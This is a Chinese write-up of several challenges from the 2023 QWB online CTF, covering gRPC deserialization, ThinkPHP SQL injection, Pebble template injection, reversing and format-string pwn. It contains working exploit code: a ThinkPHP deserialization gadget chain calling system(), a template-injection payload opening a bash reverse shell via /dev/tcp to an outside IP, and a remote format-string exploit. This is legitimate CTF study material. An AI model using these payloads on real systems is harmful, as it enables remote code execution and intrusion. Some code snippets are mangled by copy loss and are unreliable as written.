2023第七届强网杯线上赛WriteUp|Part1

admin 2023年12月21日08:16:42评论44 views字数 14787阅读49分17秒阅读模式

Web

happygame

通过Google可以知道这个报错来自grpc,直接使用grpcurl来列出服务

2023第七届强网杯线上赛WriteUp|Part1

共两个服务,查看服务列表

2023第七届强网杯线上赛WriteUp|Part1

查看Request的结构体

2023第七届强网杯线上赛WriteUp|Part1

请求

2023第七届强网杯线上赛WriteUp|Part1

提示要base64,字段名是序列化数据,yso生成一个dnslog过去探测链子

2023第七届强网杯线上赛WriteUp|Part1

打cc5反弹shell即可

2023第七届强网杯线上赛WriteUp|Part1

2023第七届强网杯线上赛WriteUp|Part1

thinkshop

审计代码

2023第七届强网杯线上赛WriteUp|Part1

登录处使用find来查找,因此需要输入主键(id)用户1,密码123456登录到后台,在修改商品信息处源码如下:

2023第七届强网杯线上赛WriteUp|Part1

存在sql注入,使用以下数据包,将data进行覆盖为恶意序列化数据

2023第七届强网杯线上赛WriteUp|Part1

生成序列化数据的exp直接使用网上的生成

<?php

namespace think;
use thinkModelRelationBelongsTo;
use thinkconsoleOutput;
abstract class Model
{
    protected $append = [];
    protected $error;
    protected $parent;
    public function __construct()
    
{

        $this->append=['getError'];
        $this->error=new BelongsTo();
        $this->parent=new Output();
    }
}
namespace thinkmodelrelation;
use thinkdbexceptionModelNotFoundException;
class BelongsTo
{
    protected $query;//去进行触发下一条链
    protected $bindAttr = [];
    public function __construct()
    
{
        $this->query = new ModelNotFoundException();
        $this->bindAttr = ["test"=>"test"];//这里随便不为空即可
    }
}

namespace thinkdbexception;
use thinkconsoleOutput;
class ModelNotFoundException
{

    protected $model;
    public  function __construct()
    
{
        $this->model=new Output();
    }
}

namespace thinkconsole;
use thinksessiondriverMemcached;
class Output{
    private $handle;//去触发Memcached的链
    protected $styles = [
        "getAttr"
    ];
    public function __construct()
    
{
        $this->handle = new Memcached();
    }

}
namespace thinkcache;
abstract class Driver{

}

namespace thinksessiondriver;
use thinkcachedriverMemcache;//这里是write的方法
use thinkcacheDriver;
class Memcached {
    protected $handler;
    public function __construct()
    
{
        $this->handler = new Memcache();
    }

}
namespace thinkcachedriver;
use thinkRequest;
class Memcache{
    protected $tag = "test";
    protected $handler;//触发Request的链
    protected $options = ['prefix'=>'goddemon/'];
    public function __construct()
    
{
        $this->handler = new Request();
    }
}

namespace think;
class Request{
    protected $get = ["goddemon"=>'cat /fffflllaaaagggg'];
    protected $filter;
    public function __construct()
    
{
        $this->filter = 'system';
    }
}
namespace thinkmodel;
use thinkModel;
class Merge  extends Model{

}
namespace thinkprocesspipes;
use thinkmodelMerge ;
class Windows
{

    /** @var array */
    private $files = [];
    public function __construct()
    
{

        $this->files=[new Merge()];  }


}
echo base64_encode(serialize([new Windows]));
?>

然后访问商品详情页面出发反序列化

2023第七届强网杯线上赛WriteUp|Part1

强网先锋

石头剪刀布

先手工交互一下,发现有一定规律,但不知道是什么。

def predict(i,my_choice):
    
    global  sequence
    model = None
    if i < 5:
        opponent_choice = [random.randint(02)]
    else:
        model = train_model(X_train, y_train)
        opponent_choice = predict_opponent_choice(model, [sequence])

在给出的源码里可以看到,前五次是随机,后面是训练的模型预测的,那么固定前五次,五次之后,根据输赢的结果来修改出招。

# -*- coding: utf-8 -*-
# @Time    : 16/12/2023 下午 1:25
# @Author  : 明月清风我
# @File    : exp.py
# @Software: PyCharm
from pwn import *
from loguru import logger
import random
context.log_level = "debug"
# nc 8.147.133.154 20905

data = [0000011220,
        1202021021,
        1001112220,
        0120022222,
        0000000000,
        0000002022,
        0222002222,
        002220000000000000001011001010]



k = 36
while k <= 100:
    logger.info(k)
    p = remote("8.147.133.154"20905)
    p.recv()
    for _ in range(k):
        p.recvuntil("):".encode())
        p.sendline(str(data[_]).encode())
        p.recvline()
        Me10n_choice = p.recvline().decode().strip('n')
        whowin = p.recvline().decode().strip('n')
        if _ >= 5:
            if "Me10n赢了!" in whowin:
                # logger.info(str(_ + 1) + ":" + whowin+ str(data[_]) + Me10n_choice)
                data[_] = (data[_] + 1) %3
            if "平局" in whowin:
                # logger.info(str(_ + 1) + ":" + whowin + str(data[_]) + Me10n_choice)
                data[_] = (data[_] - 1) % 3
    k += 1


# logger.info(data)
p.interactive()
# flag{0390d51f-d07b-4db7-8532-9b6b64fca264}

hello spring

审计Java代码,模板上传

@PostMapping({"/uploadFile"})
    public String updateFile(@RequestParam("content") String myContent, Model model) throws IOException {
        if (myFilter.filter(myContent)) {
            System.out.println("Baned!");
            return "home";
        } else {
            String path = "/tmp/";
            System.out.println(path);
            String filename = FileNameGenerator.general_time();
            String file_path = path + filename;
            File f = new File(file_path);
            if (f.exists()) {
                System.out.println("File already exists!");
                return "home";
            } else {
                System.out.println(f.createNewFile());

                try {
                    FileOutputStream fos = new FileOutputStream(file_path);

                    try {
                        byte[] bytes = myContent.getBytes();
                        fos.write(bytes);
                        System.out.println("文件写入成功!");
                    } catch (Throwable var11) {
                        try {
                            fos.close();
                        } catch (Throwable var10) {
                            var11.addSuppressed(var10);
                        }

                        throw var11;
                    }

                    fos.close();
                } catch (IOException var12) {
                    var12.printStackTrace();
                }

                System.out.println("upload Success!");
                return "home";
            }
        }
    }

文件名按时间生成

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.testtwo.utils;

import java.time.LocalDateTime;
import java.time.format.DateTimeFormatter;

public class FileNameGenerator {
    public FileNameGenerator() {
    }

    public static String general_time() {
        LocalDateTime currentTime = LocalDateTime.now();
        DateTimeFormatter formatter = DateTimeFormatter.ofPattern("yyyyMMdd_HHmmss");
        String var10000 = currentTime.format(formatter);
        String fileName = "file_" + var10000 + ".pebble";
        System.out.println("filename is " + fileName);
        return fileName;
    }
}

模板渲染

    @RequestMapping({"/"})
    public String getTemplate(@RequestParam("x") Optional<String> template, Model model) {
        return (String)template.orElse("home");
    }

根据服务器的响应头可以看出来,服务器上是GMT时间,我们用的是UTC+8时间,因此上传后爆破大概当前时间-8个小时即可,写脚本上传

import threading
import requests

url = "http://eci-2ze2b5a7asmm88uzcm65.cloudeci1.ichunqiu.com:8088/"
t = threading.BoundedSemaphore(80)
def upload():
    u = url + "uploadFile"
    print(requests.post(u, {"content""""{% set clazz=beans.get("org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory").getResourceLoader().getClassLoader().loadClass("org.springframework.expression.spel.standard.SpelExpressionParser") %}
{% set instance =  beans.get("jacksonObjectMapper").readValue("{}", clazz) %}
{{instance.parseExpression("new java.lang.ProcessBuilder(\"bash\",\"-c\",\"bash -i>&/dev/tcp/8.134.146.39/6666 0>&1\").start()").getValue()}}"""
}).text)

upload()
upload()
upload()

爆破时间

2023第七届强网杯线上赛WriteUp|Part1

成功反弹shell

2023第七届强网杯线上赛WriteUp|Part1

Trie

from pwn import *
from Crypto.Util.number import *
#context.log_level = 'debug'


def int_to_ip(num):

    ip_str = '.'.join([str((num >> (i << 3)) & 0xFFfor i in range(4)[::-1]])
    return ip_str.encode()

def ip_to_int(ip):

    print(ip)
    parts = [int(part) for part in ip.split('.')]
    int_ip = (parts[0] << 24) + (parts[1] << 16) + (parts[2] << 8) + parts[3]
    return int_ip

def add(ip1):
 p.recvuntil(b"4. Quit.n")
 p.sendline(b"1")
 p.recvuntil(b"nation IP:")
 p.sendline(int_to_ip(ip1))
 p.recvuntil(b"next hop:")
 p.sendline(b'2.2.2.2')
 
def show(ip1):
 global flag
 p.recvuntil(b"4. Quit.n")
 p.sendline(b"2")
 p.recvuntil(b"nation IP:")
 p.sendline(int_to_ip(ip1))
 p.recvuntil(b'The next hop is')
 flag += long_to_bytes(ip_to_int(p.recvline().decode()))[::-1]
 print(flag)
def readflag():
 p.recvuntil(b"4. Quit.n")
 p.sendline(b"3")



flag = b''
for i in range(321-1):
    p = process('./trie')
    add(0)
    add(1<<i)
    add(1)
    readflag()
    show(1
 
 
p.interactive()

SpeedUp

直接搜索,找到https://oeis.org/A244060

取出第27个然后算一遍即可

import hashlib

# https://oeis.org/A244060
fx = 4495662081
flag = hashlib.sha256(str(fx).encode()).hexdigest()
flag = 'flag{%s}' % flag
print(flag)

# flag{bbdee5c548fddfc76617c562952a3a3b03d423985c095521a8661d248fad3797}

ezre

平坦化去混淆以后整理函数实现可得:

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  int v3; // eax
  unsigned __int64 v4; // rax
  int v5; // eax
  int k; // [rsp+12Ch] [rbp-114h]
  int j; // [rsp+130h] [rbp-110h]
  int i; // [rsp+134h] [rbp-10Ch]
  int v10; // [rsp+13Ch] [rbp-104h]
  char v11[64]; // [rsp+140h] [rbp-100h] BYREF
  char v12[64]; // [rsp+180h] [rbp-C0h] BYREF
  char v13[64]; // [rsp+1C0h] [rbp-80h] BYREF
  char s[52]; // [rsp+200h] [rbp-40h] BYREF
  int v15; // [rsp+234h] [rbp-Ch]
  size_t v16; // [rsp+238h] [rbp-8h]

  v15 = 0;
  printf("Welcome to the CTF world:");
  memset(s, 00x32uLL);
  __isoc99_scanf("%s", s);
  v16 = strlen(s);
  v3 = strlen(s);
  v10 = 0;
  b64encode((__int64)s, (__int64)v11, v3);
  while ( v10 < 4 )
  {
    srand(byte_406132);
    v4 = strlen((const char *)(unsigned int)table);
    swap_byrand((__int64)table, v4);
    if ( (v10 & 1) != 0 )
    {
      v5 = strlen(v11);
      b64encode((__int64)v11, (__int64)v12, v5);
    }
    else
    {
      b64decode((__int64)v11, (__int64)v12);
    }
    memset(v11, 00x32uLL);
    memcpy(v11, v12, 0x32uLL);
    ++v10;
  }
  if ( dword_4062C0 == 1 )
  {
    reverse((__int64)table, (__int64)&table[64]);
    for ( i = 0; i < 64; ++i )
      table[i] = (5 * (table[i] + 3)) ^ 0x15;
  }
  else
  {
    for ( j = 0; j < 64; ++j )
      table[j] ^= 0x27u;
  }
  xor_cnt(v12, v13);
  for ( k = 0; k < strlen(v12); ++k )
  {
    if ( dst[k] != v13[k] )
    {
      printf("wrong!");
      return 0;
    }
  }
  printf("right!");
  return 0;
}

dword_4062C0是代表是否调试,如果调试中则值为1,从而对table进行reverse和计算变换,且dst遍历异或0x34(sub_402230中实现);反之为0,table遍历异或0x27。

根据算法逆向写出各部分加密的解密。开头的srand涉及c中的实现,用c拿到四个循环的表(涉及表的算法顺向):

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

int main() {
    uint8_t table[65] = "l+USN4J5Rfj0TaVOcnzXiPGZIBpoAExuQtHyKD692hwmqe7/Mgk8v1sdCW3bYFLr";
    for (int i = 0; i < 4; i++) {
        srand(table[2]);
        for (int j = 63; j >= 0; j--) {
            int r = rand();
            uint8_t tmp = table[r%(j+1)];
            table[r%(j+1)] = table[j];
            table[j] = tmp;
        }
        printf("b"%s", ", table);
    }
    return 0;
}

把表的结果传进python脚本中的tables,逆向解密即可:

import base64

dst = [0x3A0x2C0x4B0x510x680x460x590x630x240x040x5E0x5F0x000x0C0x2B0x030x290x5C0x740x700x6A0x620x7F0x3D0x2C0x4E0x6F0x130x060x0D0x060x0C0x4D0x560x0F0x280x4D0x510x760x700x2B0x050x510x680x480x550x240x19]
# for i in range(len(dst)):
#     dst[i] ^= 0x34
basetable = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
tables = [b"FGseVD3ibtHWR1czhLnUfJK6SEZ2OyPAIpQoqgY0w49u+7rad5CxljMXvNTBkm/8"b"Hc0xwuZmy3DpQnSgj2LhUtrlVvNYks+BX/MOoETaKqR4eb9WF8ICGzf6id1P75JA"b"pnHQwlAveo4DhGg1jE3SsIqJ2mrzxCiNb+Mf0YVd5L8c97/WkOTtuKFZyRBUPX6a"b"plxXOZtaiUneJIhk7qSYEjD1Km94o0FTu52VQgNL3vCBH8zsA/b+dycGPRMwWfr6"]
table = list(tables[-1])

# debugging
for i in range(64):
    table[i] ^= 0x27
# for i in range(32):
#     table[i], table[63-i] = table[63-i], table[i]
# for i in range(64):
#     table[i] = ((5*((table[i]+3)&0xFF))&0xFF) ^ 0x15

# xor_cnt
table = table[6:27]
cnts = [2023]
for i in range(len(dst)-1):
    if i % 3 == 0:
        cnts.append((cnts[-1] + 3) % 17)
    elif i % 3 == 1:
        cnts.append((cnts[-1] + 5) % 20)
    elif i % 3 == 2:
        cnts.append((cnts[-1] + 7) % 19)
for i in range(len(dst)-1)[::-1]:
    dst[i+1] ^= dst[i]
    cnt = cnts[i+1]
    if i % 3 == 0:
        dst[i] ^= table[cnt+3]
    elif i % 3 == 1:
        dst[i] ^= table[cnt+1]
    elif i % 3 == 2:
        dst[i] ^= table[cnt+2]
dst = bytes(dst)
# print(dst)

# base64
for i in range(4)[::-1]:
    table = tables[i]
    if i & 1 != 0:
        dst = base64.b64decode(dst.translate(bytes.maketrans(table, basetable)))
    else:
        dst = base64.b64encode(dst).translate(bytes.maketrans(basetable, table))
# ori table
table = b"l+USN4J5Rfj0TaVOcnzXiPGZIBpoAExuQtHyKD692hwmqe7/Mgk8v1sdCW3bYFLr"
flag = base64.b64decode(dst.translate(bytes.maketrans(table, basetable)))
print(flag)
# b'flag{3ea590ccwxehg715264fzxnzepqzx7f'
# 最后一个字符换成右括号可得flag

flag:flag{3ea590ccwxehg715264fzxnzepqz}

ez_fmt

from pwn import *

context.log_level = 'debug'

libc=ELF('./libc.so.6')

#p = process('./ez_fmt')
p=remote('47.104.24.40',1337)
#attach(p,'b *0x00401239nb *0x40121B')
p.recvuntil('ift for you ')

stack=int(p.recvline(),16)
print hex(stack)

pay='%9$n%'+str(0xaffb)+'c%10$n%'+str(0x0404010-0xa1)+'c%11$n'
pay=pay.ljust(0x18,'b')+p64(0x00007fffffffdf7b)+p64(0x00007fffffffdf78)+p64(0x00007fffffffdf70)


pay='%'+str(05)+'c%10$hhn%19$p'
pay=pay.ljust(0x20,'b')+p64(stack-8)
#pay='aaa%8$hn'
p.send(pay)

p.recv(5)
leak=int(p.recv(14),16)
print hex(leak)
libcbase=leak-(0x00007ffff7dfb083-0x00007ffff7dd7000)

system=libcbase+0xE3B01
print hex(system)
one=system&0xff
sec=(system>>8)&0xffff


pay='%'+str(one)+'c%10$hhn%'+str(sec-one)+'c%11$hn'
pay=pay.ljust(0x20,'b')+p64(stack+0x68)+p64(stack+0x68+1)
#pay='aaa%8$hn'
p.send(pay)




p.interactive()

Babyre

主逻辑只是一个类似TEA的密码算法:

2023第七届强网杯线上赛WriteUp|Part1

字符串可以看到一个奇怪的"SomeThing Go Wrong",从这里交叉引用回去能看到两个TlsCallback,这里把密文和密钥都改了,密文xor index,密钥是左移,懒得找参数直接爆破左移位数即可:

import pexpect

key = [0x310xB70xB60x31]
dst = [0xE00xF30x210x960x970xC70xDE0x890x9B0xCA0x620x8D0xB00x5D0xFC0xD20x890x550x1C0x420x500xA80x760x9B0xEA0xB20xC60x2F0x7C0xCF0x110xDE]
for i in range(32):
    dst[i] ^= i
for i in range(8):
    idx = 4 * i
    print(int.from_bytes(bytes(dst[idx:idx+4]), 'little'), end = ',')
    # tea密文在这里获取

for i in range(8):
    tmpkey = []
    for j in range(4):
        tmpkey.append((key[j] << (8-i)) & 0xFF | (key[j] >> i))
    k = int.from_bytes(bytes(tmpkey), 'little')
    p = pexpect.spawn('./tea')
    p.sendline(str(k).encode())
    p.readline()
    print(p.readline())
    p.close()

tea.c:

#include <stdio.h>
#include <stdint.h>

void decrypt(uint32_t * v, uint8_t * k) {
    uint32_t v0 = v[0], v1=v[1], sum = 0x90508D47 - 0x77BF7F99*4*33;
    uint32_t delta = -0x77BF7F99;
    for (uint32_t j = 0; j < 4; j++) {
        for (uint32_t i = 0; i < 33; i++) {
            sum -= delta;
            v1 -= (((v0<<5) ^ (v0>>4)) + v0) ^ (sum + k[(sum>>11)&3]);
            v0 -= (((v1<<5) ^ (v1>>4)) + v1) ^ (sum + k[sum&3]) ^ sum;
        }
    }
    v[0]=v0; v[1]=v1;
    return;
}
 
int main() {
    uint32_t v[9] = {2502161120,2396570259,2255012755,3723645116,1359889561,2355150148,886877170,3239039584};
    uint8_t k[4] = {0};
    scanf("%u", &k);
    for (int i = 0; i < 4; i++) decrypt((uint32_t *)&v + i * 2, k);
    printf("%sn", v);
    return 0;
}

Flag:flag{W31com3_2_Th3_QwbS7_4nd_H4v3_Fun}

原文始发于微信公众号(山石网科安全技术研究院):2023第七届强网杯线上赛WriteUp|Part1

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月21日08:16:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2023第七届强网杯线上赛WriteUp|Part1https://cn-sec.com/archives/2316376.html

发表评论

匿名网友 填写信息